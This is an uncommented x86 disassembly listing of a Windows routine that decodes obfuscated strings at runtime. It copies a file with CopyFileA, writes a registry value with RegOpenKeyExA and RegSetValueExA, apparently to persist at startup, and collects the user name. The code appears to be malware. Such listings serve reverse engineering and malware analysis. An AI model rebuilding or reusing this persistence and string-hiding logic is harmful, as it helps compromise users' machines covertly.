and esi, 0xffbfffff
lea ecx, [ebp - 0x3a0]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0041c960
jmp 0x446815
mov esi, dword [ebp - 0x18]
cmp byte [ebp - 0x4b], 0
je 0x446b91
cmp byte [ebp - 0x1c], 0
jne 0x446b91
lea ecx, [ebx + 0x70]
call fcn.00463710
test eax, eax
je 0x446b91
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0x30
call fcn.0046d450
or esi, 0x100000
lea edx, [ebp - 0x3a8]
lea ecx, [ebx + 0x70]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.00479fd0
mov eax, dword [ebp - 0x3a8]
lea ecx, [ebp - 0x24c]
push 0
push dword [eax]
call fcn.00467570
mov eax, dword [ebp - 0x24c]
cmp byte [eax + 0xd], 0
jne 0x446b74
nop word [eax + eax]
cmp byte [ebp - 0x1c], 0
jne 0x446b71
cmp byte [eax + 0x28], 0
lea esi, [eax + 0x28]
je 0x446b56
mov ecx, esi
call fcn.00463710
test eax, eax
je 0x446b56
push esi
lea ecx, [ebp - 0x490]
call fcn.004676b0
lea ecx, [ebp - 0x490]
call fcn.00467670
push esi
lea ecx, [ebp - 0x574]
call fcn.004676b0
lea ecx, [ebp - 0x574]
call fcn.00467640
lea eax, [ebp - 0x574]
push eax
lea ecx, [ebp - 0x490]
call fcn.00467580
test al, al
jne 0x446b56
nop
lea ecx, [ebp - 0x490]
call fcn.00462d20
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x446b56
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x31
call fcn.0046d450
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x358]
or eax, 0x20000
mov ecx, esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], eax
call fcn.00479fd0
mov eax, dword [ebp - 0x358]
lea ecx, [ebp - 0x250]
push 0
push dword [eax]
call fcn.00467570
mov eax, dword [ebp - 0x250]
cmp byte [eax + 0xd], 0
jne 0x446b14
cmp byte [ebp - 0x1c], 0
jne 0x446b14
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463710
test eax, eax
je 0x446af9
push esi
lea ecx, [ebp - 0x450]
call fcn.004676b0
lea ecx, [ebp - 0x450]
call fcn.00467670
push esi
lea ecx, [ebp - 0x564]
call fcn.004676b0
lea ecx, [ebp - 0x564]
call fcn.00467640
lea eax, [ebp - 0x564]
push eax
lea ecx, [ebp - 0x450]
call fcn.00467580
test al, al
jne 0x446af9
nop word [eax + eax]
lea ecx, [ebp - 0x450]
call fcn.00462d20
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x446af9
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb4]
call fcn.00402880
push 0
push 0x5214f8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x32
call fcn.004028a0
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x92]
mov dword [ebp - 0x92], 0xd7c8cc
mov byte [ebp - 0x8e], 1
call fcn.00463500
lea eax, [ebp - 0x92]
mov ecx, esi
push eax
call fcn.0046a110
cmp byte [eax], 0
je 0x446a74
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x88], 0xd7c8cc
mov byte [ebp - 0x84], 1
call fcn.00463500
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.0046a110
push eax
lea ecx, [ebp - 0xb4]
call fcn.004711f0
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00466110
sub esp, 0xc
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x324]
mov byte [ebp - 0x11], 1
mov ecx, esp
push eax
call fcn.00464e50
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x33
call fcn.00414790
mov cl, al
mov byte [ebp - 4], 0x31
mov eax, dword [ebp - 0x1c]
add esp, 0x24
test cl, cl
movzx eax, al
mov ecx, 1
cmovne eax, ecx
lea ecx, [ebp - 0xb4]
mov byte [ebp - 0x1c], al
call fcn.004026c0
lea ecx, [ebp - 0x450]
call fcn.00462cd0
lea eax, [ebp - 0x564]
push eax
lea ecx, [ebp - 0x450]
call fcn.00467580
test al, al
je 0x4469d0
lea ecx, [ebp - 0x250]
call fcn.00467510
mov eax, dword [ebp - 0x250]
cmp byte [eax + 0xd], 0
je 0x446966
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x358]
and eax, 0xfffdffff
mov byte [ebp - 4], 0x30
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], eax
call fcn.0041c960
lea ecx, [ebp - 0x490]
call fcn.00462cd0
lea eax, [ebp - 0x574]
push eax
lea ecx, [ebp - 0x490]
call fcn.00467580
test al, al
je 0x446900
lea ecx, [ebp - 0x24c]
call fcn.00467510
mov eax, dword [ebp - 0x24c]
cmp byte [eax + 0xd], 0
je 0x446890
mov esi, dword [ebp - 0x18]
and esi, 0xffefffff
lea ecx, [ebp - 0x3a8]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0041c960
jmp 0x446b91
mov byte [ebp - 0x1c], 1
lea ecx, [ebp - 0x2e8]
call fcn.004026c0
lea ecx, [ebp - 0x324]
call fcn.00468250
lea ecx, [ebp - 0x278]
call fcn.004026c0
mov edi, dword [ebp - 0x48]
lea ecx, [ebp - 0x370]
mov byte [ebp - 4], 0x15
call fcn.00463bb0
mov esi, dword [ebp - 0x3cc]
inc edi
mov dword [ebp - 0x48], edi
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x3c8]
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x48], eax
jb 0x445a50
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x446c11
cmp byte [ebp - 0x1c], 0
je 0x4483f8
lea ecx, [ebp - 0x7e]
mov dword [ebp - 0x7e], 0xd9c3df97
mov word [ebp - 0x7a], 0x100
call fcn.004632b0
push dword [ebp - 0x60]
lea ecx, [ebp - 0x2a0]
call fcn.00402880
lea ecx, [ebp - 0x7e]
mov byte [ebp - 4], 0x35
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446c40
sub ecx, edx
lea eax, [ebp - 0x7e]
push ecx
push eax
lea ecx, [ebp - 0x2a0]
call fcn.004028a0
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x57]
mov word [ebp - 0x57], 0x97
mov byte [ebp - 0x55], 1
call fcn.00463460
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x20], esp
mov dword [ebp - 0x284], esi
mov ecx, esi
push dword [ebp - 0x284]
call fcn.00402880
lea ecx, [ebp - 0x57]
mov byte [ebp - 4], 0x37
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446c94
sub ecx, edx
lea eax, [ebp - 0x57]
push ecx
push eax
mov ecx, esi
call fcn.004028a0
sub esp, 0x18
mov byte [ebp - 4], 0x38
lea eax, [ebp - 0x5b0]
mov ecx, esp
push eax
call fcn.00466110
lea ecx, [ebp - 0x3c0]
mov byte [ebp - 4], 0x36
call fcn.0040c490
add esp, 0x30
mov byte [ebp - 4], 0x39
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x3bc]
sub ecx, dword [ebp - 0x3c0]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x447225
lea ecx, [ebp - 0x3c0]
call fcn.00464d50
dec eax
lea ecx, [ebp - 0x3c0]
push eax
call fcn.00464d30
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00465f60
lea ecx, [ebp - 0x127]
mov dword [ebp - 0x127], 0xdec2dc
mov byte [ebp - 0x123], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x318]
call fcn.00402760
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x2a0]
mov esi, dword [ebp - 0x18]
mov edx, eax
or esi, 1
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0xd2c9d4
mov byte [ebp - 0x128], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x300]
call fcn.00402760
mov dword [ebp - 4], 0x3b
lea ecx, [ebp - 0x2a0]
or esi, 2
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x131]
mov dword [ebp - 0x131], 0xc9d9ca
mov byte [ebp - 0x12d], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x5e0]
call fcn.00402760
mov dword [ebp - 4], 0x3c
lea ecx, [ebp - 0x2a0]
or esi, 4
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x136]
mov dword [ebp - 0x136], 0xcfc2cd
mov byte [ebp - 0x132], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00402760
mov dword [ebp - 4], 0x3d
lea ecx, [ebp - 0x2a0]
or esi, 8
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x13b]
mov dword [ebp - 0x13b], 0xd8d5dd
mov byte [ebp - 0x137], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x680]
call fcn.00402760
mov dword [ebp - 4], 0x3e
lea ecx, [ebp - 0x2a0]
or esi, 0x10
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x170], 0xc4d8d5dd
mov word [ebp - 0x16c], 0x100
call fcn.0040b8e0
push eax
lea ecx, [ebp - 0x44]
call fcn.00402760
mov dword [ebp - 4], 0x3f
lea ecx, [ebp - 0x2a0]
or esi, 0x20
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x140], 0xdcd4c9
mov byte [ebp - 0x13c], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x238]
call fcn.00402760
mov dword [ebp - 4], 0x40
lea ecx, [ebp - 0x2a0]
or esi, 0x40
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x109]
mov dword [ebp - 0x109], 0xdccad3
mov byte [ebp - 0x105], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x4a8]
call fcn.00402760
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0x2a0]
or esi, 0x80
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x16a]
mov dword [ebp - 0x16a], 0xdbdecad3
mov word [ebp - 0x166], 0x100
call fcn.0040b8e0
push eax
lea ecx, [ebp - 0xb4]
call fcn.00402760
mov dword [ebp - 4], 0x42
lea ecx, [ebp - 0x2a0]
or esi, 0x100
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x10e]
mov dword [ebp - 0x10e], 0xcbd7db
mov byte [ebp - 0x10a], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x278]
call fcn.00402760
mov dword [ebp - 4], 0x43
lea ecx, [ebp - 0x2a0]
or esi, 0x200
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x113]
mov dword [ebp - 0x113], 0xcfdbdb
mov byte [ebp - 0x10f], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x2e8]
call fcn.00402760
mov dword [ebp - 4], 0x44
lea ecx, [ebp - 0x2a0]
or esi, 0x400
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046a900
test al, al
je 0x4470b9
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x118], 0xc8d8cf
mov byte [ebp - 0x114], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x41c]
call fcn.00402760
or esi, 0x800
lea ecx, [ebp - 0x2a0]
mov edx, eax
mov dword [ebp - 0x18], esi
call fcn.0046a900
mov byte [ebp - 0x11], 1
test al, al
jne 0x4470bd
mov byte [ebp - 0x11], 0
mov eax, dword [ebp - 0x18]
test eax, 0x800
je 0x4470dd
and eax, 0xfffff7ff
lea ecx, [ebp - 0x41c]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
test eax, 0x400
je 0x4470fa
and eax, 0xfffffbff
lea ecx, [ebp - 0x2e8]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
test eax, 0x200
je 0x447117
and eax, 0xfffffdff
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
test eax, 0x100
je 0x447134
and eax, 0xfffffeff
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
test al, al
jns 0x44714e
and eax, 0xffffff7f
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
test al, 0x40
je 0x447166
and eax, 0xffffffbf
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
test al, 0x20
je 0x44717b
and eax, 0xffffffdf
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
test al, 0x10
je 0x447193
and eax, 0xffffffef
lea ecx, [ebp - 0x680]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
test al, 8
je 0x4471ab
and eax, 0xfffffff7
lea ecx, [ebp - 0x5c8]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
test al, 4
je 0x4471c3
and eax, 0xfffffffb
lea ecx, [ebp - 0x5e0]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
test al, 2
je 0x4471db
and eax, 0xfffffffd
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x18], eax
call fcn.004026c0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x39
test al, 1
je 0x4471f7
and eax, 0xfffffffe
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x18], eax
call fcn.004026c0
cmp byte [ebp - 0x11], 0
je 0x447225
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x104], 0xdec2dc
mov byte [ebp - 0x100], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00465f30
lea ecx, [ebp - 0x5a]
mov word [ebp - 0x5a], 0x97
mov byte [ebp - 0x58], 1
call fcn.00463460
mov edx, 0x14
lea ecx, [ebp - 0x300]
call fcn.0040c7f0
mov esi, eax
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x71]
mov word [ebp - 0x71], 0xe5
mov byte [ebp - 0x6f], 1
call fcn.00463460
lea eax, [ebp - 0x71]
push eax
lea edx, [ebx + 0x80]
lea ecx, [ebp - 0x318]
call fcn.00469da0
add esp, 4
push esi
push eax
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x238]
push dword [ebp - 0x284]
call fcn.0046d9a0
or dword [ebp - 0x68], 1
lea ecx, [ebp - 0x5a]
mov byte [ebp - 4], 0x47
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4472a0
sub ecx, edx
lea eax, [ebp - 0x5a]
push ecx
push eax
lea ecx, [ebp - 0x238]
call fcn.00468980
push eax
lea ecx, [ebp - 0x278]
call fcn.00402710
mov edi, dword [ebp - 0x18]
or edi, 0x80000000
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], edi
lea eax, [ebp - 0x2a0]
mov byte [ebp - 4], 0x48
push eax
lea edx, [ebp - 0x278]
lea ecx, [ebp - 0x554]
call fcn.00469fc0
add esp, 4
lea ecx, [ebp - 0x278]
call fcn.004026c0
lea ecx, [ebp - 0x238]
call fcn.004026c0
lea ecx, [ebp - 0x318]
call fcn.004026c0
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0x4d
call fcn.004026c0
lea ecx, [ebp - 0x122]
mov dword [ebp - 0x122], 0xcccfced1
mov dword [ebp - 0x11e], 0xef9084ce
mov word [ebp - 0x11a], 0x100
call fcn.00463160
lea ecx, [ebp - 0x5b0]
call fcn.00402800
lea ecx, [ebp - 0x122]
push ecx
push eax
call fcn.004deab0
add esp, 8
lea ecx, [ebp - 0x554]
test eax, eax
setne byte [ebp - 0x35c]
call fcn.00402800
lea ecx, [ebp - 0x5b0]
mov esi, eax
call fcn.00402800
push 0x7530
push 0
push dword [ebp - 0x35c]
mov edx, esi
mov ecx, eax
call fcn.00480d70
add esp, 0xc
test al, al
je 0x4483d7
xorps xmm0, xmm0
mov byte [ebp - 0x51c], 0
lea ecx, [ebp - 0x948]
movups xmmword [ebp - 0x53c], xmm0
movups xmmword [ebp - 0x52c], xmm0
call fcn.00481100
lea ecx, [ebp - 0x598]
call fcn.004026b0
lea ecx, [ebp - 0x598]
mov esi, eax
call fcn.00402800
push esi
push eax
lea ecx, [ebp - 0x948]
call fcn.00481140
push 0
lea ecx, [ebp - 0x948]
call fcn.00481210
lea eax, [ebp - 0x53c]
push eax
lea ecx, [ebp - 0x948]
call fcn.00481340
push 0x535b44
lea ecx, [ebp - 0x21d]
mov dword [ebp - 0x21d], 0xded4def8
mov dword [ebp - 0x219], 0xa4cfebd8
mov dword [ebp - 0x215], 0xb6a6b6a0
mov word [ebp - 0x211], 0x93
mov byte [ebp - 0x20f], 1
call fcn.0040a710
mov edx, eax
lea ecx, [ebp - 0x2e8]
call fcn.00469e60
add esp, 4
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x19e]
push 0x535b44
mov dword [ebp - 0x19e], 0xd9dcdefc
mov dword [ebp - 0x19a], 0x100edf0
call fcn.0040dcf0
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.00469e60
add esp, 4
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x1f2]
push 0x535b44
mov dword [ebp - 0x1f2], 0xe9f2e9f4
mov dword [ebp - 0x1ee], 0xb4dedacd
mov dword [ebp - 0x1ea], 0x95b0a4
mov byte [ebp - 0x1e6], 1
call fcn.0040da60
mov edx, eax
lea ecx, [ebp - 0x4a8]
call fcn.00469e60
add esp, 4
cmp byte [ebp - 0x4c], 0
mov byte [ebp - 4], 0x50
je 0x447809
lea ecx, [ebp - 0x20e]
mov dword [ebp - 0x20e], 0xfdf8f5f5
mov dword [ebp - 0x20a], 0x90effff1
mov dword [ebp - 0x206], 0x85978385
mov word [ebp - 0x202], 0x100
call fcn.0040f380
push eax
call fcn.004ebe71
add esp, 4
test eax, eax
je 0x447809
push eax
lea ecx, [ebp - 0x44]
call fcn.00402760
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xc3]
mov word [ebp - 0xc3], 0xe5
mov byte [ebp - 0xc1], 1
call fcn.0040a410
push eax
lea ecx, [ebp - 0x44]
call fcn.00465f10
lea ecx, [ebp - 0xc0]
mov word [ebp - 0xc0], 0xe6
mov byte [ebp - 0xbe], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x2e8]
lea ecx, [ebp - 0x300]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x53c]
mov byte [ebp - 4], 0x52
push ecx
mov edx, eax
lea ecx, [ebp - 0x318]
call fcn.00469e00
add esp, 4
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x53
call fcn.00465f20
lea ecx, [ebp - 0x318]
call fcn.004026c0
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0x51
call fcn.004026c0
lea ecx, [ebp - 0x44]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x4475f5
lea ecx, [ebp - 0x44]
call fcn.004167c0
test al, al
je 0x4477fd
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x164], 0xd9c3df97
mov word [ebp - 0x160], 0x100
call fcn.0040b8e0
lea ecx, [ebp - 0xd8]
mov word [ebp - 0xd8], 0xe5
mov esi, eax
mov byte [ebp - 0xd6], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x300]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 4], 0x54
push ecx
mov edx, eax
lea ecx, [ebp - 0x318]
call fcn.00469fc0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x238]
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x318]
call fcn.004026c0
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0x58
call fcn.004026c0
sub esp, 0x18
lea eax, [ebp - 0x238]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0040bf60
add esp, 0x18
test al, al
jne 0x4477f2
lea ecx, [ebp - 0x238]
call fcn.00402800
lea ecx, [ebp - 0x554]
mov esi, eax
call fcn.00402800
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4477f2
movaps xmm0, xmmword [0x526ad0]
lea eax, [ebp - 0x280]
push eax
movups xmmword [ebp - 0x2cf], xmm0
lea ecx, [ebp - 0x2cf]
mov dword [ebp - 0x2af], 0xb98daeb7
movaps xmm0, xmmword [0x527870]
push 0x20006
push 0
movups xmmword [ebp - 0x2bf], xmm0
mov dword [ebp - 0x2ab], 0x8fb6adaf
mov dword [ebp - 0x2a7], 0x91b1be8f
mov word [ebp - 0x2a3], 0x8b
mov byte [ebp - 0x2a1], 1
call fcn.00418890
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4477f2
lea ecx, [ebp - 0x238]
call fcn.004026b0
lea ecx, [ebp - 0x238]
mov edi, eax
call fcn.00402800
lea ecx, [ebp - 0xd2]
mov word [ebp - 0xd2], 0xe6
mov esi, eax
mov byte [ebp - 0xd0], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x2e8]
lea ecx, [ebp - 0x5c8]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x53c]
mov byte [ebp - 4], 0x59
push ecx
mov edx, eax
lea ecx, [ebp - 0x5e0]
call fcn.00469e00
add esp, 4
mov ecx, eax
call fcn.00402800
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x280]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 0x5e0]
call fcn.004026c0
lea ecx, [ebp - 0x5c8]
call fcn.004026c0
push dword [ebp - 0x280]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x18]
lea ecx, [ebp - 0x238]
call fcn.004026c0
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x50
call fcn.004026c0
cmp byte [ebp - 0x4d], 0
je 0x447f1f
movaps xmm0, xmmword [0x525d60]
lea ecx, [ebp - 0x3d]
movups xmmword [ebp - 0x3d], xmm0
mov byte [ebp - 0x2d], 1
call fcn.0040f2f0
push eax
call fcn.004ebe71
add esp, 4
test eax, eax
je 0x447f1f
push eax
lea ecx, [ebp - 0x238]
call fcn.00402760
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0xd5]
mov word [ebp - 0xd5], 0xe5
mov byte [ebp - 0xd3], 1
call fcn.0040a410
push eax
lea ecx, [ebp - 0x238]
call fcn.00465f10
lea ecx, [ebp - 0xdb]
mov word [ebp - 0xdb], 0xe6
mov byte [ebp - 0xd9], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x4a8]
lea ecx, [ebp - 0x300]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x53c]
mov byte [ebp - 4], 0x5b
push ecx
mov edx, eax
lea ecx, [ebp - 0x318]
call fcn.00469e00
add esp, 4
push eax
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 0x5c
call fcn.00465f20
lea ecx, [ebp - 0x318]
call fcn.004026c0
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0x5a
call fcn.004026c0
lea ecx, [ebp - 0x238]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x447937
lea ecx, [ebp - 0x238]
call fcn.00402800
push eax
lea ecx, [ebp - 0x278]
call fcn.00402760
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x278]
or edi, 0x1000
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], edi
call fcn.004167c0
mov byte [ebp - 0x11], 0
test al, al
je 0x44793b
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0x5a
test edi, 0x1000
je 0x447961
and edi, 0xffffefff
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], edi
call fcn.004026c0
cmp byte [ebp - 0x11], 0
je 0x447f10
lea ecx, [ebp - 0x15e]
mov dword [ebp - 0x15e], 0xd9c3df97
mov word [ebp - 0x15a], 0x100
call fcn.0040b8e0
lea ecx, [ebp - 0xde]
mov word [ebp - 0xde], 0xe5
mov esi, eax
mov byte [ebp - 0xdc], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x238]
lea ecx, [ebp - 0x300]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x5e
push ecx
mov edx, eax
lea ecx, [ebp - 0x318]
call fcn.00469fc0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x44]
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x318]
call fcn.004026c0
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0x62
call fcn.004026c0
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0040bf60
add esp, 0x18
test al, al
jne 0x447f08
lea ecx, [ebp - 0x44]
call fcn.00402800
lea ecx, [ebp - 0x554]
mov esi, eax
call fcn.00402800
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x447f08
push 0x104
lea eax, [ebp - 0x878]
mov dword [ebp - 0x78], 0x104
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x878]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x527af0]
lea ecx, [ebp - 0x341]
movups xmmword [ebp - 0x341], xmm0
mov dword [ebp - 0x331], 0xeca7b8e6
mov dword [ebp - 0x32d], 0x98888785
mov dword [ebp - 0x329], 0x878194
mov byte [ebp - 0x325], 1
call fcn.0040f3e0
lea ecx, [ebp - 0xe1]
mov dword [ebp - 0x20], eax
mov word [ebp - 0xe1], 0xe6
mov byte [ebp - 0xdf], 1
call fcn.0040a410
lea ecx, [ebp - 0x1db]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1db], 0xc8949a9b
mov dword [ebp - 0x1d7], 0x9d9ed3
mov byte [ebp - 0x1d3], 1
call fcn.0040b910
lea ecx, [ebp - 0x1b7]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x1b7], 0xc8949a9b
mov dword [ebp - 0x1b3], 0x9d9ecf
mov byte [ebp - 0x1af], 1
call fcn.0040b910
mov edi, eax
lea ecx, [ebp - 0x710]
lea eax, [ebp - 0x878]
push eax
call fcn.00402760
mov esi, eax
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x3e7]
movaps xmm0, xmmword [0x526fe0]
movups xmmword [ebp - 0x3e7], xmm0
mov dword [ebp - 0x3d7], 0xecade5e9
mov dword [ebp - 0x3d3], 0xf09a9ce2
mov word [ebp - 0x3cf], 0xf3
mov byte [ebp - 0x3cd], 1
call fcn.00416750
push esi
mov edx, eax
lea ecx, [ebp - 0x6f8]
call fcn.00469ec0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x6e0]
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x65
push ecx
mov edx, eax
lea ecx, [ebp - 0x6c8]
call fcn.00469fc0
add esp, 4
push dword [ebp - 0x48]
mov edx, eax
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x6b0]
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x67
push ecx
mov edx, eax
lea ecx, [ebp - 0x680]
call fcn.00469fc0
add esp, 4
push dword [ebp - 0x28]
mov edx, eax
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x5c8]
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x53c]
mov byte [ebp - 4], 0x69
push ecx
mov edx, eax
lea ecx, [ebp - 0x5e0]
call fcn.00469e00
add esp, 4
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x41c]
push dword [ebp - 0x20]
mov edx, eax
call fcn.00469e00
add esp, 4
lea ecx, [ebp - 0x5e0]
call fcn.004026c0
